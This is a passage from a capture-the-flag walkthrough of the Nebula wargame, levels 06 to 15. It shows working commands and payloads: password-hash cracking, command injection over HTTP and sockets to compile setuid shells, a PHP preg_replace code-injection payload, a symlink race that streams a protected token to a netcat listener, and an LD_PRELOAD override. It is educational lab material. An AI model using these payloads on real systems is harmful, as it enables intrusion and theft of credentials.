/etc/passwd. Older unix systems used to store passwords this way, but that is no longer the case.\nlevel06@nebula:~$ cat /etc/passwd| grep flag06 flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh The hash ueqwOCnSGdsuM is something that I had to send to john to crack. So I just copied it over to a Kali linux instance and attempted to crack it with brute force. It took a few micro seconds to crack :P\n~ # cat hash ueqwOCnSGdsuM ~ # john hash Loaded 1 password hash (Traditional DES [128/128 BS SSE2]) hello (?) guesses: 1 time: 0:00:00:00 DONE (Fri May 8 17:29:20 2015) c/s: 102400 trying: 123456 - Pyramid Use the \u0026#34;--show\u0026#34; option to display all of the cracked passwords reliably The password is hello. So, to solve level06:\nlevel06@nebula:~$ su - flag06 Password: flag06@nebula:~$ getflag You have successfully executed getflag on a target account level07 Level07\u0026rsquo;s Description:\n The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.\n With the description we are provided with the source code of a small Perl program:\n#!/usr/bin/perl use CGI qw{param}; print \u0026#34;Content-type: text/html\\n\\n\u0026#34;; sub ping { $host = $_[0]; print(\u0026#34;\u0026lt;html\u0026gt;\u0026lt;head\u0026gt;\u0026lt;title\u0026gt;Ping results\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt;\u0026lt;body\u0026gt;\u0026lt;pre\u0026gt;\u0026#34;); @output = `ping -c 3 $host 2\u0026gt;\u0026amp;1`; foreach $line (@output) { print \u0026#34;$line\u0026#34;; } print(\u0026#34;\u0026lt;/pre\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\u0026#34;); } # check if Host set. if not, display normal page, etc ping(param(\u0026#34;Host\u0026#34;)); This script has a very obvious command injection problem in the ping command. It also looks like something that should be served by a web server. In the flag07 directory one can see a thttpd.conf file which contains the port of the webserver serving this script on.\nlevel07@nebula:/home/flag07$ grep port thttpd.conf # Specifies an alternate port number to listen on. port=7007 # all hostnames supported on the local machine. See thttpd(8) for details. Exploiting the vulnerability simply meant that we have to inject commands into the Host parameter. I normally use python\u0026rsquo;s urllib to ensure that fields are properly url encoded etc.\nSo, to solve level07:\n~ » curl -v \u0026#34;http://192.168.217.239:7007/index.cgi?$(python -c \u0026#39;import urllib; print urllib.urlencode({ \u0026#34;Host\u0026#34; : \u0026#34;127.0.0.1 \u0026amp;\u0026amp; gcc /var/tmp/shell.c -o /var/tmp/flag07 \u0026amp;\u0026amp; chmod 4777 /var/tmp/flag07\u0026#34; })\u0026#39;)\u0026#34; * Hostname was NOT found in DNS cache * Trying 192.168.217.239... * Connected to 192.168.217.239 (192.168.217.239) port 7007 (#0) \u0026gt; GET /index.cgi?Host=127.0.0.1+%26%26+gcc+%2Fvar%2Ftmp%2Fshell.c+-o+%2Fvar%2Ftmp%2Fflag07+%26%26+chmod+4777+%2Fvar%2Ftmp%2Fflag07 HTTP/1.1 \u0026gt; User-Agent: curl/7.37.1 \u0026gt; Host: 192.168.217.239:7007 \u0026gt; Accept: */* \u0026gt; * HTTP 1.0, assume close after body \u0026lt; HTTP/1.0 200 OK \u0026lt; Content-type: text/html \u0026lt; \u0026lt;html\u0026gt;\u0026lt;head\u0026gt;\u0026lt;title\u0026gt;Ping results\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt;\u0026lt;body\u0026gt;\u0026lt;pre\u0026gt;PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.011 ms 64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.023 ms 64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.022 ms --- 127.0.0.1 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1998ms rtt min/avg/max/mdev = 0.011/0.018/0.023/0.007 ms * Closing connection 0 \u0026lt;/pre\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; And finally back on the NebulaVM after this curl from my host:\nlevel07@nebula:/home/flag07$ /var/tmp/flag07 sh-4.2$ getflag You have successfully executed getflag on a target account level08 Level08\u0026rsquo;s Description:\n World readable files strike again. Check what that user was up to, and use it to log into flag08 account.\n Logging in as the user level08 reveals a pcap in the flag08 directory:\nlevel08@nebula:~$ cd ~flag08 level08@nebula:/home/flag08$ ls capture.pcap level08@nebula:/home/flag08$ file capture.pcap capture.pcap: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535) I copied the pcap off the box and opened it on my Kali Linux VM with wireshark to investigate:\n  Here we can see some data that got captured in clear text. It looks like a telnet session where someone was logging in with the level8 account. The password though has a few dots in it. To make more sense of these, I switched the stream view to hex so that we can try see the ASCII codes of the keypresses.\n  F7 according to the ASCII table is a backspace. That makes this easy :) Considering we have the password backdoor...00Rm8.ate, substituting the dot with backspaces we end up with backd00Rmate as the password.\nSo, to solve level08:\nlevel08@nebula:/home/flag08$ su - flag08 Password: flag08@nebula:~$ getflag You have successfully executed getflag on a target account level09 Level09\u0026rsquo;s Description:\n There’s a C setuid wrapper for some vulnerable PHP code…\n With the description we are provided with the source code of a small PHP program:\n\u0026lt;?php function spam($email) { $email = preg_replace(\u0026#34;/\\./\u0026#34;, \u0026#34; dot \u0026#34;, $email); $email = preg_replace(\u0026#34;/@/\u0026#34;, \u0026#34; AT \u0026#34;, $email); return $email; } function markup($filename, $use_me) { $contents = file_get_contents($filename); $contents = preg_replace(\u0026#34;/(\\[email (.*)\\])/e\u0026#34;, \u0026#34;spam(\\\u0026#34;\\\\2\\\u0026#34;)\u0026#34;, $contents); $contents = preg_replace(\u0026#34;/\\[/\u0026#34;, \u0026#34;\u0026lt;\u0026#34;, $contents); $contents = preg_replace(\u0026#34;/\\]/\u0026#34;, \u0026#34;\u0026gt;\u0026#34;, $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?\u0026gt;In the flag09 directory, we have the above PHP sample as well as a SUID binary.\nlevel09@nebula:~$ cd ~flag09 level09@nebula:/home/flag09$ ls -lh total 8.0K -rwsr-x--- 1 flag09 level09 7.1K 2011-11-20 21:22 flag09 -rw-r--r-- 1 root root 491 2011-11-20 21:22 flag09.php At first I managed to solve this one really fast. When flag09 is invoked with -h, it seemed like it passed the arguments directly to a PHP binary. So, I was able to drop into an interactive PHP shell and execute commands from there:\nlevel09@nebula:/home/flag09$ ./flag09 -a Interactive shell php \u0026gt; system(\u0026#34;id\u0026#34;); uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09) With this I would have been able to prepare the small flag09 setuid shell and complete the level. However, I did not think this was the intended route so I continued to investigate the PHP program further.\nThe PHP code basically had 2 main functions. markup() and spam(). markup() would read the contents of a file (who’s location is read as the first command line argument), and using regex, search for a pattern matching [email addr] where addr will be the extracted part. It then as a callback executes spam() which will convert . to dot and @ to AT. I took a really long time researching the preg_replace() functions and potential exploits with it. Eventually I came across a post describing how code injection may be possible when preg_replace() is called with the e modifier. This blogpost explains the vulnerability in pretty great detail. That blogpost coupled with the PHP docs here helps develop a payload for exploitation. The PHP documentation has a sample of \u0026lt;h1\u0026gt;{${eval($_GET[php_code])}}\u0026lt;/h1\u0026gt; which is what I used to finish the final payload for this level.\nAnother thing to note about the PHP code is the $use_me variable passed to the markup() function. It only gets declared and never gets used later. I think the developer of this level wanted this to be a form of hint, but it was handy to get code execution as argument 2 on the command line will be the command we want to execute :)\nSo, to solve level09:\nlevel09@nebula:/home/flag09$ echo -ne \u0026#34;[email {\\${system(\\$use_me)}}]\u0026#34; \u0026gt; /var/tmp/flag09.txt level09@nebula:/home/flag09$ cat /var/tmp/flag09.txt [email {${system($use_me)}}] level09@nebula:/home/flag09$ ./flag09 /var/tmp/flag09.txt \u0026#34;gcc /var/tmp/shell.c -o /var/tmp/flag09; chmod 4777 /var/tmp/flag09\u0026#34; PHP Notice: Undefined variable: in /home/flag09/flag09.php(15) : regexp code on line 1 level09@nebula:/home/flag09$ /var/tmp/flag09 sh-4.2$ getflag You have successfully executed getflag on a target account intermission From here, the levels became noticeably harder for me. A lot of the levels had me researching new things that I was unsure of. :)\nI wont detail all of the failed attempts. There were so many. Only the successes (and if a failure was significant) will land here :P Lets get to them!\nlevel10 Level10\u0026rsquo;s Description:\n The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.\n With the description we are provided with the source code of a small PHP program:\n#include \u0026lt;stdlib.h\u0026gt;#include \u0026lt;unistd.h\u0026gt;#include \u0026lt;sys/types.h\u0026gt;#include \u0026lt;stdio.h\u0026gt;#include \u0026lt;fcntl.h\u0026gt;#include \u0026lt;errno.h\u0026gt;#include \u0026lt;sys/socket.h\u0026gt;#include \u0026lt;netinet/in.h\u0026gt;#include \u0026lt;string.h\u0026gt; int main(int argc, char **argv) { char *file; char *host; if(argc \u0026lt; 3) { printf(\u0026#34;%s file host\\n\\tsends file to host if you have access to it\\n\u0026#34;, argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf(\u0026#34;Connecting to %s:18211 .. \u0026#34;, host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(\u0026amp;sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)\u0026amp;sin, sizeof(struct sockaddr_in)) == -1) { printf(\u0026#34;Unable to connect to host %s\\n\u0026#34;, host); exit(EXIT_FAILURE); } #define HITHERE \u0026#34;.oO Oo.\\n\u0026#34;  if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf(\u0026#34;Unable to write banner to host %s\\n\u0026#34;, host); exit(EXIT_FAILURE); } #undef HITHERE  printf(\u0026#34;Connected!\\nSending file .. \u0026#34;); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf(\u0026#34;Damn. Unable to open file\\n\u0026#34;); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf(\u0026#34;Unable to read from file: %s\\n\u0026#34;, strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf(\u0026#34;wrote file!\\n\u0026#34;); } else { printf(\u0026#34;You don\u0026#39;t have access to %s\\n\u0026#34;, file); } } As the description has it, this program seems to read a file and send its contents to a user specified IP address on tcp/18211. I tested this by opening a netcat listener with nc -lk 18211 and sending myself a file to see what comes out. Obviously, I was not able to send the token that was in the same directory as the flag10 binary as I did not have read access to this.\nThe problem with this program through is the fact that it checks if the file can be read using access(), then only later opens it using open(). Using this method it may be possible to change out the file before it hits the open() method. Symlinks are the goto for this kind of problem as they can be easily swapped out by relinking a file as the program runs. It of course helps that the file to read can be user specified. There is actually an acronym for this kind of bug called TOCTTOU. The Wikipedia article describes almost exactly the same scenario as we have here.\nMy plan of attack was to create a race condition. I would create an infinite loop that relinks a file from something I can actually read back to the token file and vice versa. While this continuous relinking occurs, I would run the affected binary, hoping that we would catch a case where the link swaps out as hoped for sending the token contents to my netcat listener. To increase my chances of the race condition occurring, I put the flag10 binary in its own loop as well.\nSo, to solve level10:\nlevel10@nebula:/home/flag10$ while true; do ln -sf /var/tmp/shell.c /var/tmp/flag10-token; ln -sf /home/flag10/token /var/tmp/flag10-token; done \u0026amp; [1] 14219 # the counties symlink swap is now happening between /var/tmp/shell.c which I can read and /home/flag10/token which I cant. level10@nebula:/home/flag10$ while true; do ./flag10 /var/tmp/flag10-token 192.168.217.1; done You don\u0026#39;t have access to /var/tmp/flag10-token You don\u0026#39;t have access to /var/tmp/flag10-token Connecting to 192.168.217.1:18211 .. Connected! Sending file .. wrote file! Connecting to 192.168.217.1:18211 .. Connected! Sending file .. wrote file! Connecting to 192.168.217.1:18211 .. Connected! Sending file .. wrote file! On my netcat listener I now had:\n~ » nc -lk 18211 .oO Oo. #include\u0026lt;stdio.h\u0026gt; int main(void) { setresuid(geteuid(), geteuid(), geteuid()); system(\u0026#34;/bin/sh\u0026#34;); return 0; } .oO Oo. 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27 .oO Oo. 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27 .oO Oo. 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27 .oO Oo. With the token file read, we end the level:\nlevel10@nebula:/home/flag10$ su - flag10 Password: flag10@nebula:~$ getflag You have successfully executed getflag on a target account level11 Level11\u0026rsquo;s Description:\n The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.\n With the description we are provided with the source code of a small PHP program:\n#include \u0026lt;stdlib.h\u0026gt;#include \u0026lt;unistd.h\u0026gt;#include \u0026lt;string.h\u0026gt;#include \u0026lt;sys/types.h\u0026gt;#include \u0026lt;fcntl.h\u0026gt;#include \u0026lt;stdio.h\u0026gt;#include \u0026lt;sys/mman.h\u0026gt; /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv(\u0026#34;TEMP\u0026#34;); pid = getpid(); asprintf(path, \u0026#34;%s/%d.%c%c%c%c%c%c\u0026#34;, tmp, pid, \u0026#39;A\u0026#39; + (random() % 26), \u0026#39;0\u0026#39; + (random() % 10), \u0026#39;a\u0026#39; + (random() % 26), \u0026#39;A\u0026#39; + (random() % 26), \u0026#39;0\u0026#39; + (random() % 10), \u0026#39;a\u0026#39; + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length \u0026amp; 0xff; for(i = 0; i \u0026lt; length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL \u0026#34;Content-Length: \u0026#34;  int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, \u0026#34;reading from stdin\u0026#34;); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, \u0026#34;invalid header\u0026#34;); } length = atoi(line + strlen(CL)); if(length \u0026lt; sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, \u0026#34;fread length\u0026#34;); } process(buf, length); } else { int blue = length; int pink; fd = getrand(\u0026amp;path); while(blue \u0026gt; 0) { printf(\u0026#34;blue = %d, length = %d, \u0026#34;, blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf(\u0026#34;pink = %d\\n\u0026#34;, pink); if(pink \u0026lt;= 0) { err(1, \u0026#34;fread fail(blue = %d, length = %d)\u0026#34;, blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, \u0026#34;mmap\u0026#34;); } process(mem, length); } } I\u0026rsquo;ll admit. This level kicked my ass. Eventually I gave up and resorted to a few hints that could tell me how to proceed. None of the other walkthroughs that I read actually had working exploits for this level either. That which I have tried never got me to even execute getflag so that it would be happy with the effective user ids. Maybe this level is bugged, but I am not sure :(\nlevel12 Level12\u0026rsquo;s Description:\n There is a backdoor process listening on port 50001.\n With the description we are provided with the source code of a small Lua program:\nlocal socket = require(\u0026#34;socket\u0026#34;) local server = assert(socket.bind(\u0026#34;127.0.0.1\u0026#34;, 50001)) function hash(password) prog = io.popen(\u0026#34;echo \u0026#34;..password..\u0026#34; | sha1sum\u0026#34;, \u0026#34;r\u0026#34;) data = prog:read(\u0026#34;*all\u0026#34;) prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send(\u0026#34;Password: \u0026#34;) client:settimeout(60) local line, err = client:receive() if not err then print(\u0026#34;trying \u0026#34; .. line) -- log from where ;\\ local h = hash(line) if h ~= \u0026#34;4754a4f4bd5787accd33de887b9250a0691dd198\u0026#34; then client:send(\u0026#34;Better luck next time\\n\u0026#34;); else client:send(\u0026#34;Congrats, your token is 413**CARRIER LOST**\\n\u0026#34;) end end client:close() end This level had another very obvious command injection vulnerability on the line where a password variable is piped through sha1sum. I made a copy of this program and modified it to print me the outputs so that I could prepare a properly formatted command to be used on a socket. The basic idea of the injection was to separate the echo with a ; character and compile my setuid C shell. I then added a hash (#) to ignore the rest of the command what would have been executed.\nSo, to solve level12:\nlevel12@nebula:~$ echo \u0026#34;;gcc /var/tmp/shell.c -o /var/tmp/flag12;chmod 4777 /var/tmp/flag12;#\u0026#34; | nc 127.0.0.1 50001 Password: Better luck next time level12@nebula:~$ /var/tmp/flag12 sh-4.2$ getflag You have successfully executed getflag on a target account sh-4.2$ level13 Level13\u0026rsquo;s Description:\n There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.\n With the description we are provided with the source code of a small C program:\n#include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;string.h\u0026gt; #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf(\u0026#34;Security failure detected. UID %d started us, we expect %d\\n\u0026#34;, getuid(), FAKEUID); printf(\u0026#34;The system administrators will be notified of this violation\\n\u0026#34;); exit(EXIT_FAILURE); } // snip, sorry :) printf(\u0026#34;your token is %s\\n\u0026#34;, token); } This level had me researching for quite some time. I came to learn of ELF DSO\u0026rsquo;s and LD_PRELOAD. Basically, it is possible to have the dynamic linker preload shared libraries from the LD_PRELOAD environment variable that may allow for some functions to be modified. This article contained most of the magic that was needed to get this level done.\nI decided to \u0026lsquo;override\u0026rsquo; the getuid() function so that it would return the value of the FAKEUID constant in the program, instead of the value the real getuid() would have returned. For that to happen, I looked up the arguments for getuid() from the man page and copied that for my own purposes. I then compiled it as a shared library with the famous -shared -fPIC arguments for position independent code and exported the LD_PRELOAD variable prior to running the binary.\nOne important thing to note here is that this \u0026lsquo;hack\u0026rsquo; has a few gotchas. The executing binary and the library needs to be relative to each other. SETUID programs discard the LD_PRELOAD environment variable (for obvious reasons) so this is not a privilege escalation. In the source code we have received, there is a portion excluded (that probably just prints the token :P) on purpose. This means we can copy the binary and still be able to get the desired effect. Of course, we could also resort to slapping this into a debugger and checking what it is doing under the hood, but given the nature of Nebula, I figured the point is to actually override getuid().\nSo, to solve level13:\nlevel13@nebula:/var/tmp$ cp ~flag13/flag13 . level13@nebula:/var/tmp$ cat fake_getuid.c #include\u0026lt;unistd.h\u0026gt; uid_t getuid(void) { return 1000; } level13@nebula:/var/tmp$ gcc -shared -fPIC /var/tmp/fake_getuid.c -o /var/tmp/fake_getuid.o level13@nebula:/var/tmp$ LD_PRELOAD=/var/tmp/fake_getuid.o ./flag13 your token is b705702b-76a8-42b0-8844-3adabbe5ac58 level13@nebula:/var/tmp$ su - flag13 Password: flag13@nebula:~$ getflag You have successfully executed getflag on a target account level14 Level14\u0026rsquo;s Description:\n This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)\n Logged in as user level14, we see 2 files in the flag14 directory:\nlevel14@nebula:~$ cd ~flag14 level14@nebula:/home/flag14$ ls -lh total 8.0K -rwsr-x--- 1 flag14 level14 7.2K 2011-12-05 18:59 flag14 -rw------- 1 level14 level14 37 2011-12-05 18:59 token level14@nebula:/home/flag14$ cat token 857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW. token obviously being the target to decrypt. Running flag14 tells us that it is expecting a -e flag to encrypt. So, I tested the encryption to see how it behaves:\nlevel14@nebula:/home/flag14$ ./flag14 -e AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^( What immediately jumped out at me was the A\u0026rsquo;s that I had sent it came back as the alphabet. :D After a few tests I came to the conclusion that the key seems to start at 0, and increments with every character. Each characters ASCII value is then incremented by what ever the current value of the key is. To test this theory, I wrote a small python script to replicate this behavior:\n#!/usr/bin/python # exploit-exercises level14 cryptor string = \u0026#39;AABBCCDDEEFFGG\u0026#39; key = 0 result = \u0026#39;\u0026#39; print \u0026#39;String: {s}\\nStrlen: {l}\\t\u0026#39;.format(s = string, l = len(string)) for char in string: print \u0026#39;Key: {key}\\tChar: {char}\\tOrd: {ord}\\tRes: {res}\u0026#39;.format( key = key, char = char, ord = ord(char), res = chr(ord(char) + key) ) result += chr(ord(char) + key) key += 1 print \u0026#39;\\nResult: {res}\u0026#39;.format(res = result) Running this meant that the output would be:\n~ # python crypt.py String: AABBCCDDEEFFGG Strlen: 14 Key: 0 Char: A Ord: 65 Res: A Key: 1 Char: A Ord: 65 Res: B Key: 2 Char: B Ord: 66 Res: D Key: 3 Char: B Ord: 66 Res: E Key: 4 Char: C Ord: 67 Res: G Key: 5 Char: C Ord: 67 Res: H Key: 6 Char: D Ord: 68 Res: J Key: 7 Char: D Ord: 68 Res: K Key: 8 Char: E Ord: 69 Res: M Key: 9 Char: E Ord: 69 Res: N Key: 10 Char: F Ord: 70 Res: P Key: 11 Char: F Ord: 70 Res: Q Key: 12 Char: G Ord: 71 Res: S Key: 13 Char: G Ord: 71 Res: T Result: ABDEGHJKMNPQST The same string was checked using the flag14 cryptor:\nlevel14@nebula:/home/flag14$ ./flag14 -e AABBCCDDEEFFGG ABDEGHJKMNPQST A match :) Being able to replicate the encryption, meant that the decryption was trivial. Instead of adding 1 to the key, I simply subtracted 1 from the key in order to reverse the string in the token file:\n~ # python decrypt.py String: 857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW. Strlen: 36 Key start = 0 Key: 0 Char: 8 Ord: 56 Res: 8 Key: 1 Char: 5 Ord: 53 Res: 4 Key: 2 Char: 7 Ord: 55 Res: 5 Key: 3 Char: : Ord: 58 Res: 7 Key: 4 Char: g Ord: 103 Res: c Key: 5 Char: 6 Ord: 54 Res: 1 Key: 6 Char: 7 Ord: 55 Res: 1 Key: 7 Char: ? Ord: 63 Res: 8 Key: 8 Char: 5 Ord: 53 Res: - Key: 9 Char: A Ord: 65 Res: 8 Key: 10 Char: B Ord: 66 Res: 8 Key: 11 Char: B Ord: 66 Res: 7 Key: 12 Char: o Ord: 111 Res: c Key: 13 Char: : Ord: 58 Res: - Key: 14 Char: B Ord: 66 Res: 4 Key: 15 Char: t Ord: 116 Res: e Key: 16 Char: D Ord: 68 Res: 4 Key: 17 Char: A Ord: 65 Res: 0 Key: 18 Char: ? Ord: 63 Res: - Key: 19 Char: t Ord: 116 Res: a Key: 20 Char: I Ord: 73 Res: 5 Key: 21 Char: v Ord: 118 Res: a Key: 22 Char: L Ord: 76 Res: 6 Key: 23 Char: D Ord: 68 Res: - Key: 24 Char: K Ord: 75 Res: 3 Key: 25 Char: L Ord: 76 Res: 3 Key: 26 Char: { Ord: 123 Res: a Key: 27 Char: M Ord: 77 Res: 2 Key: 28 Char: Q Ord: 81 Res: 5 Key: 29 Char: P Ord: 80 Res: 3 Key: 30 Char: S Ord: 83 Res: 5 Key: 31 Char: R Ord: 82 Res: 3 Key: 32 Char: Q Ord: 81 Res: 1 Key: 33 Char: W Ord: 87 Res: 6 Key: 34 Char: W Ord: 87 Res: 5 Key: 35 Char: . Ord: 46 Res: Result: 8457c118-887c-4e40-a5a6-33a25353165 So, to solve level14:\nlevel14@nebula:/home/flag14$ su - flag14 Password: flag14@nebula:~$ getflag You have successfully executed getflag on a target account level15 Level15\u0026rsquo;s Description:\n strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. Clean up after yourself :)\n Logged in as user level15, we see 1 file in the flag15 directory called flag15. Running it simply tells us to strace it!. Running it with strace immediately reveals a whole bunch of interesting things about flag15:\nlevel15@nebula:/home/flag15$ strace ./flag15 execve(\u0026#34;./flag15\u0026#34;, [\u0026#34;./flag15\u0026#34;], [/* 20 vars */]) = 0 brk(0) = 0x88c9000 access(\u0026#34;/etc/ld.so.nohwcap\u0026#34;, F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb786b000 access(\u0026#34;/etc/ld.so.preload\u0026#34;, R_OK) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/tls/i686/sse2/cmov\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/tls/i686/sse2/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/tls/i686/sse2\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/tls/i686/cmov/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/tls/i686/cmov\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/tls/i686/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/tls/i686\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/tls/sse2/cmov/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/tls/sse2/cmov\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/tls/sse2/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/tls/sse2\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/tls/cmov/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/tls/cmov\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/tls/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/tls\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/i686/sse2/cmov/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/i686/sse2/cmov\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/i686/sse2/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/i686/sse2\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/i686/cmov/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/i686/cmov\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/i686/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/i686\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/sse2/cmov/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/sse2/cmov\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/sse2/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/sse2\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/cmov/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15/cmov\u0026#34;, 0xbfd0bf54) = -1 ENOENT (No such file or directory) open(\u0026#34;/var/tmp/flag15/libc.so.6\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) stat64(\u0026#34;/var/tmp/flag15\u0026#34;, {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0 open(\u0026#34;/etc/ld.so.cache\u0026#34;, O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0 mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7862000 close(3) = 0 access(\u0026#34;/etc/ld.so.nohwcap\u0026#34;, F_OK) = -1 ENOENT (No such file or directory) open(\u0026#34;/lib/i386-linux-gnu/libc.so.6\u0026#34;, O_RDONLY) = 3 read(3, \u0026#34;\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0p\\222\\1\\0004\\0\\0\\0\u0026#34;..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0 mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xe78000 mmap2(0xfee000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0xfee000 mmap2(0xff1000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xff1000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7861000 set_thread_area({entry_number:-1 -\u0026gt; 6, 